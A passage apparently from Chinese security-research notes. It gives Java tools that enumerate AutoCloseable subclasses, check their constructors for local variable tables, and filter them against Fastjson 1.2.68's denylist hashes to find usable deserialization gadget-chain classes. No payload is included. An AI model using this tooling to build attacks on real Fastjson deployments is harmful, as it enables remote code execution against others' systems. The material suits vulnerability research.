1818089308493370394L, 2078113382421334967L, 2164696723069287854L, 2653453629929770569L, 2660670623866180977L, 2731823439467737506L, 2836431254737891113L, 3089451460101527857L, 3114862868117605599L, 3256258368248066264L, 3547627781654598988L, 3637939656440441093L, 3688179072722109200L, 3718352661124136681L, 3730752432285826863L, 3794316665763266033L, 4046190361520671643L, 4147696707147271408L, 4254584350247334433L, 4814658433570175913L, 4841947709850912914L, 4904007817188630457L, 5100336081510080343L, 5274044858141538265L, 5347909877633654828L, 5450448828334921485L, 5474268165959054640L, 5596129856135573697L, 5688200883751798389L, 5751393439502795295L, 5944107969236155580L, 6007332606592876737L, 6280357960959217660L, 6456855723474196908L, 6511035576063254270L, 6534946468240507089L, 6734240326434096246L, 6742705432718011780L, 6854854816081053523L, 7123326897294507060L, 7179336928365889465L, 7375862386996623731L, 7442624256860549330L, 7658177784286215602L, 8055461369741094911L, 8389032537095247355L, 8409640769019589119L, 8488266005336625107L, 8537233257283452655L, 8838294710098435315L, 9140390920032557669L, 9140416208800006522L};

        // expectClass 1.2.69
        long[] expectHashValues = new long[]{
                -8024746738719829346L,
                3247277300971823414L,
                -5811778396720452501L,
                -1368967840069965882L,
                2980334044947851925L,
                5183404141909004468L,
                7222019943667248779L,
                -2027296626235911549L,
                -2114196234051346931L,
                -2939497380989775398L
        };
        long[] diffResult = getArrayDiff(denyHashCodes, denyHashCodes1);

        List<String> classes = getAllClasses();
        writeLines(classes, "output.txt", false);

        getDenyExpectClassList(classes, expectHashValues);
        getDenyList(classes, denyHashCodes);

    }
}

寻找子类

package org.example.tools;

import java.io.IOException;
import java.util.List;

import static org.example.tools.ClassEnumerator.findSubClasses;
import static org.example.tools.ClassEnumerator.getAllClasses;
import static org.example.tools.FileProcesser.writeLines;

public class FindSubClasses {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        List<String> classes = getAllClasses();
        writeLines(findSubClasses("java.lang.AutoCloseable", classes), "subClasses.txt", false);
    }
}

文件处理

package org.example.tools;

import java.io.BufferedWriter;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Collections;
import java.util.List;

public class FileProcesser {
    public static void writeLines(List<String> lines, String filePath, boolean append) throws IOException {
        Path path = Paths.get(filePath);

        // 创建父目录(如果不存在)
        Path parentDir = path.getParent();
        if (parentDir != null) {
            Files.createDirectories(parentDir);
        }

        // 使用 try-with-resources 自动关闭流
        //append为false时才会创建文件
        try (BufferedWriter writer = Files.newBufferedWriter(path, StandardCharsets.UTF_8,
                append ? StandardOpenOption.APPEND : StandardOpenOption.CREATE)) {
            for (String line : lines) {
                writer.write(line);
                writer.newLine();
            }
        }
    }
}

局部变量表

package org.example.tools;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.objectweb.asm.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Modifier;
import java.util.*;

import static org.example.tools.ClassEnumerator.findSubClasses;
import static org.example.tools.ClassEnumerator.getAllClasses;
import static org.example.tools.FileProcesser.writeLines;

public class LocalVariableTableAnalyzer {

    /**
     * 检查指定类的构造方法是否保留了局部变量表
     * @param className 类的全限定名,如 "java.io.FileOutputStream"
     * @return 如果至少有一个构造方法保留了局部变量表,则返回 true,否则返回 false
     */
    public static boolean hasLocalVariableTableInConstructors(String className) {
        try (InputStream is = getClassResourceAsStream(className)) {
            if (is == null) throw new IOException("Class not found: " + className);

            ClassReader cr = new ClassReader(is);
            ConstructorAnalyzer ca = new ConstructorAnalyzer();
            cr.accept(ca, ClassReader.EXPAND_FRAMES);

            return ca.hasLocalVariableTableInAnyConstructor();
        } catch (Exception e) {
            System.err.println("Error analyzing class: " + e.getMessage());
            return false;
        }
    }

    /**
     * 打印指定类构造方法的局部变量表信息
     * @param className 类的全限定名,如 "java.io.FileOutputStream"
     */
    public static void printLocalVariableTables(String className) {
        try (InputStream is = getClassResourceAsStream(className)) {
            if (is == null) throw new IOException("Class not found: " + className);

            ClassReader cr = new ClassReader(is);
            LocalVariablePrinter printer = new LocalVariablePrinter();
            cr.accept(printer, ClassReader.EXPAND_FRAMES);

            printer.printResults();
        } catch (Exception e) {
            System.err.println("Error printing local variable tables: " + e.getMessage());
        }
    }

    private static InputStream getClassResourceAsStream(String className) {
        String resourceName = className.replace('.', '/') + ".class";
        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        return cl.getResourceAsStream(resourceName);
    }

    static class ConstructorAnalyzer extends ClassVisitor {
        private boolean hasLocalVariableTable = false;

        public ConstructorAnalyzer() {
            super(Opcodes.ASM9);
        }

        @Override
        public MethodVisitor visitMethod(int access, String name, String descriptor,
                                         String signature, String[] exceptions) {
            if ("<init>".equals(name)) {
                return new ConstructorMethodVisitor(super.visitMethod(access, name, descriptor, signature, exceptions));
            }
            return super.visitMethod(access, name, descriptor, signature, exceptions);
        }

        public boolean hasLocalVariableTableInAnyConstructor() {
            return hasLocalVariableTable;
        }

        class ConstructorMethodVisitor extends MethodVisitor {
            public ConstructorMethodVisitor(MethodVisitor mv) {
                super(Opcodes.ASM9, mv);
            }

            @Override
            public void visitLocalVariable(String name, String descriptor, String signature,
                                           Label start, Label end, int index) {
                hasLocalVariableTable = true;
                super.visitLocalVariable(name, descriptor, signature, start, end, index);
            }
        }
    }

    static class LocalVariablePrinter extends ClassVisitor {
        private String currentClassName;
        private final Map<String, List<LocalVariable>> constructorVariables = new LinkedHashMap<>();

        public LocalVariablePrinter() {
            super(Opcodes.ASM9);
        }

        @Override
        public void visit(int version, int access, String name, String signature,
                          String superName, String[] interfaces) {
            this.currentClassName = name.replace('/', '.');
            super.visit(version, access, name, signature, superName, interfaces);
        }

        @Override
        public MethodVisitor visitMethod(int access, String name, String descriptor,
                                         String signature, String[] exceptions) {
            if ("<init>".equals(name)) {
                String constructorId = name + descriptor;
                return new LocalVariableMethodVisitor(
                        super.visitMethod(access, name, descriptor, signature, exceptions),
                        constructorId
                );
            }
            return super.visitMethod(access, name, descriptor, signature, exceptions);
        }

        public void printResults() {
            if (constructorVariables.isEmpty()) {
                System.out.println("未找到构造方法或局部变量表信息");
                return;
            }

            System.out.printf("类 %s 的构造方法局部变量表信息:%n", currentClassName);
            for (Map.Entry<String, List<LocalVariable>> entry : constructorVariables.entrySet()) {
                System.out.printf("%n构造方法: %s%n", entry.getKey());
                List<LocalVariable> variables = entry.getValue();
                if (variables.isEmpty()) {
                    System.out.println("  无局部变量表信息");
                } else {
                    System.out.printf("  %-10s %-15s %-20s %-10s%n",
                            "索引", "名称", "类型", "作用域");
                    for (LocalVariable var : variables) {
                        System.out.printf("  %-10d %-15s %-20s L%d-L%d%n",
                                var.index, var.name, var.descriptor, var.startLine, var.endLine);
                    }
                }
            }
        }

        class LocalVariableMethodVisitor extends MethodVisitor {
            private final String constructorId;
            private final List<LocalVariable> localVariables = new ArrayList<>();
            private final Map<Integer, Integer> labelToLine = new HashMap<>();

            public LocalVariableMethodVisitor(MethodVisitor mv, String constructorId) {
                super(Opcodes.ASM9, mv);
                this.constructorId = constructorId;
            }

            @Override
            public void visitLineNumber(int line, Label start) {
                labelToLine.put(start.hashCode(), line);
                super.visitLineNumber(line, start);
            }

            @Override
            public void visitLocalVariable(String name, String descriptor, String signature,
                                           Label start, Label end, int index) {
                int startLine = labelToLine.getOrDefault(start.hashCode(), -1);
                int endLine = labelToLine.getOrDefault(end.hashCode(), -1);
                localVariables.add(new LocalVariable(name, descriptor, signature, index, startLine, endLine));
                super.visitLocalVariable(name, descriptor, signature, start, end, index);
            }

            @Override
            public void visitEnd() {
                constructorVariables.put(constructorId, localVariables);
                super.visitEnd();
            }
        }
    }

    static class LocalVariable {
        final String name;
        final String descriptor;
        final String signature;
        final int index;
        final int startLine;
        final int endLine;

        public LocalVariable(String name, String descriptor, String signature,
                             int index, int startLine, int endLine) {
            this.name = name;
            this.descriptor = descriptor;
            this.signature = signature;
            this.index = index;
            this.startLine = startLine;
            this.endLine = endLine;
        }
    }
    public static boolean isPublicClass(String className) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get(className);
            return Modifier.isPublic(cc.getModifiers());
        } catch (NotFoundException e) {
            System.err.println("类未找到: " + className);
            return false;
        }
    }

    // 示例用法
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        List<String> classes = getAllClasses();
        List<String> subClasses = findSubClasses("java.lang.AutoCloseable", classes);
        List<String> results = new ArrayList<>();
        for (String className : subClasses) {
            if (hasLocalVariableTableInConstructors(className) && isPublicClass(className)) {

                System.out.println("类包含参数名信息: " + className);
                results.add(className);

            }
        }
        writeLines(results, "LocalVarTabClass.txt", false);

    }
}

寻找1.2.68允许使用的子类

package org.example.tools;


import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import static org.example.tools.ClassEnumerator.findSubClasses;
import static org.example.tools.ClassEnumerator.getAllClasses;
import static org.example.tools.LocalVariableTableAnalyzer.hasLocalVariableTableInConstructors;
import static org.example.tools.LocalVariableTableAnalyzer.isPublicClass;
import static org.example.tools.fastjson_hash.isClassHashInDeny;

//获取fastjson 1.2.68的利用链
public class GetFastjsonChains {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        long[] denyHashCodes_1_68 = new long[]{-9164606388214699518L, -8720046426850100497L, -8649961213709896794L, -8165637398350707645L, -8109300701639721088L, -7966123100503199569L, -7921218830998286408L, -7775351613326101303L, -7768608037458185275L, -7766605818834748097L, -6835437086156813536L, -6316154655839304624L, -6179589609550493385L, -6025144546313590215L, -5939269048541779808L, -5885964883385605994L, -5764804792063216819L, -5472097725414717105L, -5194641081268104286L, -4837536971810737970L, -4608341446948126581L, -4438775680185074100L, -4082057040235125754L, -3975378478825053783L, -3935185854875733362L, -3319207949486691020L, -3077205613010077203L, -2825378362173150292L, -2439930098895578154L, -2378990704010641148L, -2364987994247679115L, -2262244760619952081L, -2192804397019347313L, -2095516571388852610L, -1872417015366588117L, -1650485814983027158L, -1589194880214235129L, -905177026366752536L, -831789045734283466L, -582813228520337988L, -254670111376247151L, -190281065685395680L, -26639035867733124L, -9822483067882491L, 4750336058574309L, 33238344207745342L, 218512992947536312L, 313864100207897507L, 386461436234701831L, 823641066473609950L, 1073634739308289776L, 1153291637701043748L, 1203232727967308606L, 1459860845934817624L, 1502845958873959152L, 1534439610567445754L, 1698504441317515818L, 1818089308493370394L, 2078113382421334967L, 2164696723069287854L, 2653453629929770569L, 2660670623866180977L, 2731823439467737506L, 2836431254737891113L, 3089451460101527857L, 3114862868117605599L, 3256258368248066264L, 3547627781654598988L, 3637939656440441093L, 3688179072722109200L, 3718352661124136681L, 3730752432285826863L, 3794316665763266033L, 4046190361520671643L, 4147696707147271408L, 4254584350247334433L, 4814658433570175913L, 4841947709850912914L, 4904007817188630457L, 5100336081510080343L, 5274044858141538265L, 5347909877633654828L, 5450448828334921485L, 5474268165959054640L, 5596129856135573697L, 5688200883751798389L, 5751393439502795295L, 5944107969236155580L, 6007332606592876737L, 6280357960959217660L, 6456855723474196908L, 6511035576063254270L, 6534946468240507089L, 6734240326434096246L, 6742705432718011780L, 6854854816081053523L, 7123326897294507060L, 7179336928365889465L, 7375862386996623731L, 7442624256860549330L, 7658177784286215602L, 8055461369741094911L, 8389032537095247355L, 8409640769019589119L, 8488266005336625107L, 8537233257283452655L, 8838294710098435315L, 9140390920032557669L, 9140416208800006522L};

        List<String> classes = getAllClasses();
        List<String> subClasses = findSubClasses("java.lang.AutoCloseable", classes);
        List<String> result1 = new ArrayList<>();
        List<String> result2 = new ArrayList<>();

        //jdk8检查类有没有局部变量表
        for (String className : subClasses) {
            if (hasLocalVariableTableInConstructors(className) && isPublicClass(className)) {
                System.out.println("类包含参数名信息: " + className);
                result1.add(className);

            }
        }

        //检查类是否在黑名单中
        for (String className : result1) {
            if (!isClassHashInDeny(className, denyHashCodes_1_68)){
                result2.add(className);
            }
        }
        System.out.println("允许使用的类如下:");
        for (String className : result2) {
            System.out.println(className);
        }

    }
}